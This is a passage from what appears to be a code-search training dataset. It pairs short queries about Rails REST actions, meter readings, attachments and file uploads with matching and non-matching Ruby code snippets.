"def get_locations(options = {})\n\t \tcountry_id = options.has_key?(:country_id) ? options[:country_id] : 0\n\t \tstate_id = options.has_key?(:state_id) ? options[:state_id] : 0\n\t \tcity_id = options.has_key?(:city_id) ? options[:city_id] : 0\n\t \tmode = options.has_key?(:mode) ? options[:mode] : \"all\"\n\t \tarr_countries = options.has_key?(:countries) ? options[:countries] : []\n\n \t\t\ttmp_countries = get_countries(mode, arr_countries)\n\n \t\t\tcountry_id = tmp_countries.first.id if country_id == 0\n \t\t\tcountries = transform_result(tmp_countries, country_id)\n \t\t\ttmp_states = get_states(country_id)\n\n \t\t\tstate_id = tmp_states.first.id if state_id == 0 and !tmp_states.empty?\n \t\t\tstates = transform_result(tmp_states, state_id)\n \t\t\ttmp_cities = get_cities(state_id)\n\n \t\t\tcity_id = tmp_cities.first.id if city_id == 0 and !tmp_cities.empty?\n \t\t\tcities = transform_result(tmp_cities, city_id)\n\n \t\t\t{\n \t\t\t\tcountries: countries,\n \t\t\t\tstates: states,\n \t\t\t\tcities: cities\n \t\t\t}\n\t end",
"def get_locations\n response = execute_get(\"/reference/location\")\n Location.from_array(decode(response))\n end",
"def list_marketplace_locations(options={}) path = \"/api/v2/definitions/marketplacelocations\"\n get(path, options, AvaTax::VERSION) end",
"def list_locations_by_company(companyId, options={}) path = \"/api/v2/companies/#{companyId}/locations\"\n get(path, options, AvaTax::VERSION) end",
"def get_all_asset_current_locations(access_token)\r\n # Prepare query url.\r\n _path_url = '/fleet/assets/locations'\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << _path_url\r\n _query_builder = APIHelper.append_url_with_query_parameters(\r\n _query_builder,\r\n {\r\n 'access_token' => access_token\r\n },\r\n array_serialization: Configuration.array_serialization\r\n )\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n CustomQueryAuth.apply(_request)\r\n _context = execute_request(_request)\r\n\r\n # Validate response against endpoint and global error codes.\r\n unless _context.response.status_code.between?(200, 208)\r\n raise APIException.new(\r\n 'Unexpected error.',\r\n _context\r\n )\r\n end\r\n validate_response(_context)\r\n\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n GetAllAssetCurrentLocationsResponse.from_hash(decoded)\r\n end",
"def get_all_asset_current_locations_with_http_info(access_token, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FleetApi.get_all_asset_current_locations ...'\n end\n # verify the required parameter 'access_token' is set\n if @api_client.config.client_side_validation && access_token.nil?\n fail ArgumentError, \"Missing the required parameter 'access_token' when calling FleetApi.get_all_asset_current_locations\"\n end\n # resource path\n local_var_path = '/fleet/assets/locations'\n\n # query parameters\n query_params = {}\n query_params[:'access_token'] = access_token\n query_params[:'group_id'] = opts[:'group_id'] if !opts[:'group_id'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse2001')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FleetApi#get_all_asset_current_locations\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def query_data_sources(options={}) path = \"/api/v2/datasources\"\n get(path, options, AvaTax::VERSION) end",
"def resource_location\n options[:location] || resources\n end",
"def locations\n collect\n end",
"def get_vehicles_locations(access_token,\r\n start_ms,\r\n end_ms)\r\n # Prepare query url.\r\n _path_url = '/fleet/vehicles/locations'\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << _path_url\r\n _query_builder = APIHelper.append_url_with_query_parameters(\r\n _query_builder,\r\n {\r\n 'access_token' => access_token,\r\n 'startMs' => start_ms,\r\n 'endMs' => end_ms\r\n },\r\n array_serialization: Configuration.array_serialization\r\n )\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n CustomQueryAuth.apply(_request)\r\n _context = execute_request(_request)\r\n\r\n # Validate response against endpoint and global error codes.\r\n unless _context.response.status_code.between?(200, 208)\r\n raise APIException.new(\r\n 'Unexpected error.',\r\n _context\r\n )\r\n end\r\n validate_response(_context)\r\n\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n decoded.map { |element| FleetVehiclesLocation.from_hash(element) }\r\n end",
"def list_locations\n request = Azure::BaseManagement::ManagementHttpRequest.new(:get, '/locations')\n response = request.call\n Serialization.locations_from_xml(response)\n end",
"def get_location(id, options = nil)\n @client.raw('get', \"/ecommerce/locations/#{id}\", options)\n end",
"def locations id, date = Date.today.to_s\n uri = \"#{BASE_URL}/gauges/#{id}/locations?date=#{date}\"\n fetch uri\n end",
"def locations\n @client.get('/BikePoint')\n end",
"def corporate_assets_list(opts = { :characterid => nil})\n args = postfields(opts)\n h = compute_hash(args.merge(:url => @@corporate_assets_url))\n return h if h\n xml = process_query(nil,opts[:url] || @@corporate_assets_url,true,args)\n self.recur_through_assets(xml.search(\"/eveapi/result/rowset[@name='assets']/row\"))\n end",
"def library_locations(options)\n url_comp = \"content/libraries/\"\n\n # Check aliases\n options.keys.each do |k|\n case k\n when :count, :max then options[:maximum_libraries] = options.delete(k)\n when :start then options[:start_library] = options.delete(k)\n when :latitude then options[:lat] = options.delete(k)\n when :longitude then options[:lon] = options.delete(k)\n when :format then options.delete(k) if options[k].to_s == \"xml\"\n when :libtype\n libtype = options[k].to_s\n options[k] = 1 if libtype == \"academic\"\n options[k] = 2 if libtype == \"public\"\n options[k] = 3 if libtype == \"government\"\n options[k] = 4 if libtype == \"other\"\n when :oclc then url_comp << options.delete(k).to_s\n when :isbn then url_comp << \"isbn/\" << options.delete(k).to_s\n when :issn then url_comp << \"issn/\" << options.delete(k).to_s\n when :sn then url_comp << \"sn/\" << options.delete(k).to_s\n end\n end\n\n if options.has_key? :format\n fetch(url_comp, options)\n json_diagnostic\n response = JSON.parse(@raw_response)\n else\n fetch(url_comp, options)\n xml_diagnostic\n response = REXML::Document.new(@raw_response)\n end\n\n response\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
GET /meter_readings/1 GET /meter_readings/1.json
|
def show
@meter_reading = MeterReading.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @meter_reading }
end
end
|
[
"def index\n @meter_readings = MeterReading.all\n end",
"def show\n\n @breadcrumb = 'read'\n @meter_detail = MeterDetail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meter_detail }\n end\n end",
"def show\n\n @breadcrumb = 'read'\n @meter_model = MeterModel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meter_model }\n end\n end",
"def index\n @meter_readers = MeterReader.all\n end",
"def show\n\n @breadcrumb = 'read'\n @meter_type = MeterType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meter_type }\n end\n end",
"def show\n @meter = Meter.find(params[:id])\n\n render json: @meter\n end",
"def index\n @readings = Reading.where(device_id: params[:device_id])\n json_response(@readings)\n end",
"def show\n\n @breadcrumb = 'read'\n @meter_owner = MeterOwner.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meter_owner }\n end\n end",
"def find_meter(name)\n Boundary.get(@url+\"?name=#{name}\")\n end",
"def show\n\n @breadcrumb = 'read'\n @meter_location = MeterLocation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meter_location }\n end\n end",
"def meter(meter_id)\n perform_get_request(\"/meter/#{meter_id}\")\n end",
"def new\n @meter_reading = MeterReading.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @meter_reading }\n end\n end",
"def index\n @meter_reader_statuses = MeterReaderStatus.all\n end",
"def show\n @reading = Reading.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @reading }\n end\n end",
"def show\n @meter_type = MeterType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meter_type }\n end\n end",
"def index\n @readings = Reading.all\n\n render json: @readings\n end",
"def show\n\n @breadcrumb = 'read'\n @reading = Reading.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reading }\n end\n end",
"def show\n\n @breadcrumb = 'read'\n @meter_brand = MeterBrand.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meter_brand }\n end\n end",
"def show\n @reading = Reading.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reading }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
GET /meter_readings/new GET /meter_readings/new.json
|
def new
@meter_reading = MeterReading.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @meter_reading }
end
end
|
[
"def new\n @breadcrumb = 'create'\n @meter_model = MeterModel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @meter_model }\n end\n end",
"def new\n @breadcrumb = 'create'\n @meter_detail = MeterDetail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @meter_detail }\n end\n end",
"def new\n @meter = Meter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @meter }\n end\n end",
"def new\n @breadcrumb = 'create'\n @meter_type = MeterType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @meter_type }\n end\n end",
"def new\n @meter_type = MeterType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @meter_type }\n end\n end",
"def new\n @reading = Reading.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reading }\n end\n end",
"def new\n @temp_reading = TempReading.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @temp_reading }\n end\n end",
"def new\n @breadcrumb = 'create'\n @meter_location = MeterLocation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @meter_location }\n end\n end",
"def new\n @breadcrumb = 'create'\n @meter_owner = MeterOwner.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @meter_owner }\n end\n end",
"def new\n @breadcrumb = 'create'\n @reading_type = ReadingType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reading_type }\n end\n end",
"def new\n @meter = Meter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @meter }\n end\n end",
"def new\n @metric = Metric.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @metric }\n end\n end",
"def new\n\t\t@reading = Reading.new\n\t\t@book = Book.find params[:book_id]\n\t\t@url = book_readings_path(@book)\n\tend",
"def new\n @counter = Counter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @counter }\n end\n end",
"def new\n @page_title = \"Meters\"\n @meter = Meter.new\n # Ternary to default params[:id] to the first hub\n @hub_id = params[:id] ? params[:id] : Hub.first.id\n @devices = parse_device_xmls(@hub_id)\n add_crumb(\"Admin\", '/admin')\n add_crumb(\"Meters\", '/meters')\n add_crumb(\"New\")\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @meter }\n end\n end",
"def new\n @measurement = Measurement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @measurement }\n end\n end",
"def new\n @breadcrumb = 'create'\n @meter_brand = MeterBrand.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @meter_brand }\n end\n end",
"def new\n @measurement = Measurement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @measurement }\n end\n end",
"def new\n @breadcrumb = 'create'\n @measure = Measure.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @measure }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
PUT /meter_readings/1 PUT /meter_readings/1.json
|
def update
@meter_reading = MeterReading.find(params[:id])
respond_to do |format|
if @meter_reading.update_attributes(params[:meter_reading])
format.html { redirect_to @meter_reading, notice: 'Meter reading was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @meter_reading.errors, status: :unprocessable_entity }
end
end
end
|
[
"def update\n respond_to do |format|\n if @meter_reading.update(meter_reading_params)\n format.html { redirect_to @meter_reading, notice: 'Meter reading was successfully updated.' }\n format.json { render :show, status: :ok, location: @meter_reading }\n else\n format.html { render :edit }\n format.json { render json: @meter_reading.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @meter_reader.update(meter_reader_params)\n format.html { redirect_to admin_meter_reader_path(@meter_reader), notice: 'Meter reader was successfully updated.' }\n format.json { render :show, status: :ok, location: admin_meter_reader_path(@meter_reader) }\n else\n format.html { render :edit }\n format.json { render json: @meter_reader.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @meter = Meter.find(params[:id])\n\n respond_to do |format|\n if @meter.update_attributes(params[:meter])\n format.html { redirect_to @meter, notice: 'Meter was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @meter.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @meter = Meter.find(params[:id])\n\n respond_to do |format|\n if @meter.update_attributes(params[:meter])\n format.html { redirect_to @meter, notice: 'Meter was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @meter.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @meter = Meter.find(params[:id])\n if @meter.update(meter_params)\n redirect_to meters_path, notice: 'Meter was successfully updated.'\n #format.json { render :show, status: :ok, location: @meter }\n else\n render :edit\n #format.json { render json: @meter.errors, status: :unprocessable_entity }\n end\n end",
"def index\n @meter_readings = MeterReading.all\n end",
"def update\n @breadcrumb = 'update'\n @meter_detail = MeterDetail.find(params[:id])\n\n respond_to do |format|\n if @meter_detail.update_attributes(params[:meter_detail])\n format.html { redirect_to @meter_detail, notice: t('activerecord.attributes.meter_detail.successfully') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @meter_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @meter = Meter.find(params[:id])\n\n respond_to do |format|\n if @meter.update_attributes(params[:meter])\n flash[:notice] = 'Meter was successfully updated.'\n format.html { redirect_to(@meter) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @meter.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @meter_reader_status.update(meter_reader_status_params)\n format.html { redirect_to @meter_reader_status, notice: 'Meter reader status was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @meter_reader_status.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @meter_readers = MeterReader.all\n end",
"def meter(meter_id)\n perform_get_request(\"/meter/#{meter_id}\")\n end",
"def update\n @page_title = \"Meters\"\n @meter = Meter.find(params[:id])\n\n respond_to do |format|\n if @meter.update_attributes(params[:meter])\n flash[:notice] = 'Meter was successfully updated.'\n format.html { redirect_to(@meter) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @meter.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @meter_reading = MeterReading.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @meter_reading }\n end\n end",
"def update\n @m_meter = MMeter.find(params[:id])\n\n respond_to do |format|\n if @m_meter.update_attributes(params[:m_meter])\n format.html { redirect_to @m_meter, notice: 'M meter was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @m_meter.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @meter_reading = MeterReading.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meter_reading }\n end\n end",
"def update\n @reading = Reading.find(params[:id])\n\n if @reading.update(reading_params)\n head :no_content\n else\n render json: @reading.errors, status: :unprocessable_entity\n end\n end",
"def create\n @meter = Meter.new(params[:meter])\n\n if @meter.save\n render json: @meter, status: :created, location: @meter\n else\n render json: @meter.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @bulk_meter.update(bulk_meter_params)\n format.html { redirect_to @bulk_meter, notice: 'Bulk meter was successfully updated.' }\n format.json { render :show, status: :ok, location: @bulk_meter }\n else\n format.html { render :edit }\n format.json { render json: @bulk_meter.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n\n @breadcrumb = 'read'\n @meter_model = MeterModel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meter_model }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
DELETE /meter_readings/1 DELETE /meter_readings/1.json
|
def destroy
@meter_reading = MeterReading.find(params[:id])
@meter_reading.destroy
respond_to do |format|
format.html { redirect_to meter_readings_url }
format.json { head :no_content }
end
end
|
[
"def destroy\n @meter_reader.destroy\n respond_to do |format|\n format.html { redirect_to admin_meter_readers_url, notice: 'Meter reader was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @meter = Meter.find(params[:id])\n @meter.destroy\n\n respond_to do |format|\n format.html { redirect_to meters_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @meter_reader_status.destroy\n respond_to do |format|\n format.html { redirect_to meter_reader_statuses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @meter = Meter.find(params[:id])\n @meter.destroy\n\n respond_to do |format|\n format.html { redirect_to meters_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @meter_detail = MeterDetail.find(params[:id])\n @meter_detail.destroy\n\n respond_to do |format|\n format.html { redirect_to meter_details_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @meter_status.destroy\n respond_to do |format|\n format.html { redirect_to meter_statuses_url }\n format.json { head :no_content }\n end\n end",
"def delete(name)\n meter = self.find_meter(name)\n meter.empty? ? nil : Boundary.delete(@url+\"/#{meter.first['id']}\")\n end",
"def destroy\n @meter = Meter.find(params[:id])\n @meter.destroy\n\n respond_to do |format|\n format.html { redirect_to(meters_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @reading = Reading.find(params[:id])\n @reading.destroy\n\n respond_to do |format|\n format.html { redirect_to readings_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @bulk_meter.destroy\n respond_to do |format|\n format.html { redirect_to bulk_meters_url, notice: 'Bulk meter was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reading = Reading.find(params[:id])\n @reading.destroy\n\n respond_to do |format|\n format.html { redirect_to readings_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @meter_type = MeterType.find(params[:id])\n @meter_type.destroy\n\n respond_to do |format|\n format.html { redirect_to meter_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @m_meter = MMeter.find(params[:id])\n @m_meter.destroy\n\n respond_to do |format|\n format.html { redirect_to m_meters_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @meter.destroy\n respond_to do |format|\n format.html { redirect_to admin_meters_url, notice: 'Meter was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @meter_record.destroy\n respond_to do |format|\n format.html { redirect_to meter_records_url, notice: 'Meter record was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @daily_reading = DailyReading.find(params[:id])\n @daily_reading.destroy\n\n respond_to do |format|\n format.html { redirect_to daily_readings_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @page_title = \"Meters\"\n @meter = Meter.find(params[:id])\n @meter.destroy\n\n respond_to do |format|\n format.html { redirect_to(meters_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\r\n @meter_record.destroy\r\n respond_to do |format|\r\n format.html { redirect_to meter_records_url, notice: 'Meter record was successfully destroyed.' }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @sensor_reading.destroy\n respond_to do |format|\n format.html { redirect_to sensor_readings_url, notice: 'Sensor reading was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Call delete attachment method of message to delete document from backoffice
|
def delete_document(doc_refno)
@message.delete_attachment(current_user, doc_refno)
end
|
[
"def destroy\n @docattachment = Docattachment.find(params[:id])\n @docattachment.destroy\n\n respond_to do |format|\n format.html { redirect_to(docattachments_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n the_name = @attachment.document\n @attachment.destroy\n respond_to do |format|\n format.html { redirect_to attachments_url, notice: \"[#{the_name}] was successfully deleted.\" }\n format.js { redirect_to attachments_url, notice: \"[#{the_name}] was successfully deleted.\" }\n end\n end",
"def delete_attachment\n if @post.attachments.exists?(params[:attachment_id])\n @post.attachments.find(params[:attachment_id]).destroy\n @post.touch # Induit la purge du cache de ce post\n redirect_to edit_post_path(@post), notice: 'Pièce jointe supprimée' \n else\n redirect_to edit_post_path(@post), alert: 'Erreur lors de la suppression de la pièce jointe' \n end\n end",
"def delete_attachment\n @item = Item.find(params[:id])\n if @item.attachments.exists?(params[:attachment_id])\n @item.attachments.find(params[:attachment_id]).destroy\n @item.touch\n redirect_to edit_item_path(@item), notice: 'Pièce jointe supprimée' \n else\n redirect_to edit_item_path(@item), alert: 'Erreur lors de la suppression de la pièce jointe' \n end\n end",
"def destroy_attachments\n send_to_attachments(:destroy)\n end",
"def destroy_attachment\n a = Attachment.find(1) rescue nil\n if !a.nil?\n a.destroy\n end\n end",
"def destroy\n @message_attachment = MessageAttachment.find(params[:id])\n @message_attachment.destroy\n\n respond_to do |format|\n format.html { redirect_to message_attachments_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n \n @invoice_attachment = InvoiceAttachment.find(params[:id])\n @invoice_attachment.destroy\n\n respond_to do |format|\n format.html { redirect_to(\"/invoices/#{@invoice_attachment.invoice_id}\", :notice => 'Attachment successfully deleted.') }\n format.json { head :ok }\n end\n end",
"def delete_document\n \n board_design_entry = BoardDesignEntry.find(params[:id])\n \n case params[:type]\n \n when 'Outline Drawing'\n document = Document.find(board_design_entry.outline_drawing_document_id)\n board_design_entry.outline_drawing_document_id = 0\n when 'PCB Attribute'\n document = Document.find(board_design_entry.pcb_attribute_form_document_id)\n board_design_entry.pcb_attribute_form_document_id = 0\n when 'Stackup'\n document = Document.find(board_design_entry.teradyne_stackup_document_id)\n board_design_entry.teradyne_stackup_document_id = 0\n end\n \n document.destroy\n board_design_entry.save\n\n \n redirect_to(:action => 'view_attachments', \n :id => board_design_entry.id, \n :user_action => params[:user_action],\n :viewer => params[:viewer])\n \n \n end",
"def destroy\n @document_part.destroy\n end",
"def delete_message(data); end",
"def destroy\n @message_file = @message.message_files.find(params[:id])\n @message_file.destroy\n\n respond_to do |format|\n format.html { redirect_to(edit_message_url(@message)) }\n format.xml { head :ok }\n end\n end",
"def delete_image_attachment\n User.delete_image_attachment(params)\n end",
"def destroy\n if @parent.attachments.find(params[:id]).destroy\n flash[:notice] = t('messages.attachment.success.delete')\n else\n flash[:alert] = t('messages.attachment.errors.delete')\n end\n\n redirect_to :back\n end",
"def destroy\n @reimbursement_note_attachment = ReimbursementNoteAttachment.find(params[:id])\n @reimbursement_note_attachment.destroy\n\n respond_to do |format|\n format.html { redirect_to(\"/reimbursement_notes/#{@reimbursement_note_attachment.reimbursement_note_id}\", :notice => 'Attachment successfully deleted.') }\n format.json { head :ok }\n end\n end",
"def delete_attachment\n Log.add_info(request, params.inspect)\n\n raise(RequestPostOnlyException) unless request.post?\n\n begin\n attachment = MailAttachment.find(params[:attachment_id])\n @email = Email.find(params[:id])\n\n if attachment.email_id == @email.id\n attachment.destroy\n\n update_attrs = ActionController::Parameters.new({updated_at: Time.now})\n if @email.status == Email::STATUS_TEMPORARY\n update_attrs[:status] = Email::STATUS_DRAFT\n end\n @email.update_attributes(update_attrs.permit(Email::PERMIT_BASE))\n end\n rescue => evar\n Log.add_error(request, evar)\n end\n\n render(:partial => 'ajax_mail_attachments', :layout => false)\n end",
"def delete_attachment(message_id, slot)\n @api.delete(\"#{@api.path}/List/#{@id}/Email/#{message_id}/#{slot}\")\n end",
"def destroy\n @offices_attachment = OfficesAttachment.find(params[:id])\n @offices_attachment.destroy\n\n respond_to do |format|\n format.html { redirect_to offices_attachments_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mail_attachment.destroy\n respond_to do |format|\n format.html { redirect_to mail_attachments_url, notice: 'Mail attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Retrieve file from backoffice
|
def retrieve_file_attachment
return unless params[:doc_refno] || params[:type]
success, attachments = retrieve_file_details_from_backoffice
return unless success
send_file_from_attachment(attachments[:attachment])
end
|
[
"def get_document\n @bookalope.http_get(@url + '/files/document')\n end",
"def retrieveFile(path)\n arguments = [self.fullID(path)]\n cmdOptions = {\n \"-a\" => true,\n }\n\n if @account\n cmdOptions[\"-T\"] = @account.token\n end\n\n result = Occam::Worker.perform(\"objects\", \"view\", arguments, cmdOptions)\n result[:data]\n end",
"def get_file(foreign_ref)\n set_client\n\n # return file data\n if service.downcase.include? \"dropbox\"\n begin\n response = @client.get_file(foreign_ref)\n rescue\n return nil\n end\n return response\n end\n\n if service.downcase.include? \"google\"\n response = @client.execute(:uri => 'https://www.googleapis.com/drive/v2/files/'+foreign_ref+'?alt=media')\n return response.status == 200 ? response.body : nil\n end\n\n return File.read(Rails.root.join('usercontent', foreign_ref)) if service == \"local\"\n end",
"def file\n locator.file\n end",
"def file\n return @file\n end",
"def get_file(url)\n get(url).body\n end",
"def get_file(file_ref)\n p1 = Pathname.new @spcon.site_base.request_uri\n p2 = Pathname.new \"/#{file_ref}\"\n target = p2.relative_path_from p1\n @spcon.get(target.to_s)\n end",
"def file\n project.objects[fileRef]\n end",
"def get_file\n uuid = params[:uuid]\n file = params[:file]\n \n # Here file only includes the basename, so no need to run basename.\n\n if ((md = file.match(/(Mets_file)/) ||\n md = file.match(Generic_xml)) &&\n File.exists?(\"#{Dest}/#{uuid}/#{Meta}/#{md[0]}\"))\n @text = IO.read(\"#{Dest}/#{uuid}/#{Meta}/#{md[0]}\")\n send_data(@text,\n :filename => md[1],\n :type => \"text/xml\",\n :disposition => \"inline\")\n elsif (file.match(Bagit_file) and File.exists?(\"#{Dest}/#{uuid}/#{Bagit_file}\"))\n @text = IO.read(\"#{Dest}/#{uuid}/#{Bagit_file}\")\n send_data(@text,\n :filename => Bagit_file,\n :type => \"application/zip\",\n :disposition => \"attachment\")\n else\n # This really needs a status message, since it will appear to\n # the user that the page just redraws.\n redirect_to :action => 'report'\n end\n end",
"def get_file(path)\n uri = URI.join('https://stellar.mit.edu', path)\n @mech.get_file uri\n end",
"def find_file path, options = {}\n ensure_connection!\n resp = connection.get_file name, path, options\n if resp.success?\n File.from_gapi resp.data, connection\n else\n fail ApiError.from_response(resp)\n end\n end",
"def file path, options = {}\n ensure_connection!\n resp = connection.get_file name, path, options\n if resp.success?\n File.from_gapi resp.data, connection\n else\n fail ApiError.from_response(resp)\n end\n end",
"def file\n demo.file\n end",
"def get \r\n begin\r\n doc = Document.find(params[:d])\r\n user,docs = ones_documents(doc.user_id,\"documents.id = #{doc.id}\")\r\n raise unless doc == docs.first\r\n doc.viewed!\r\n if params[:f]\r\n file = doc.files.find(params[:f])\r\n send_data(file.data,:filename=>file.name)\r\n return \r\n elsif params[:l]\r\n link = doc.links[params[:l].to_i]\r\n redirect_to link\r\n return\r\n else\r\n require 'zip/zip'\r\n t = Tempfile.new(rand(100000).to_s + doc.title)\r\n Zip::ZipOutputStream::open(t.path) {\r\n |io|\r\n doc.files.each do |file|\r\n io.put_next_entry(file.name)\r\n io.write file.data\r\n end\r\n }\r\n File.open(t.path) do |f|\r\n send_data(f.read,:filename=>\"#{doc.title}.zip\")\r\n end\r\n\r\n end\r\n rescue Exception=>e\r\n # p e.message\r\n render_return\r\n end\r\n \r\n end",
"def content\n file = Store::File.find_by(id: store_file_id)\n if !file\n raise \"No such file #{store_file_id}!\"\n end\n\n file.content\n end",
"def get_file(params)\n if params[:name] == 'conference'\n params[:conference][:custom_file]\n else\n params[:static_page][:custom_file]\n end\n end",
"def get_resource(path_or_url)\n puts \"opening ..#{path_or_url}\"\n target_path=remap_filepath(path_or_url)\n puts \"tp: #{target_path}\"\n f=open(target_path)\n (f.is_a? File)? f.read : f \n end",
"def administration\n @file = BasicFile.find(params[:id])\n end",
"def get_file(name)\n=begin \t\n if name in @files:\n # Get only the first file\n return @files.getone(name)\n else:\n return File(name, path='')\n=end\n\tend"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
which file types are allowed to be uploaded.
|
def content_type_allowlist
Rails.configuration.x.file_upload_content_type_allowlist.split(/\s*,\s*/)
end
|
[
"def allowed_file_types\n Rails.configuration.allowed_file_types\n end",
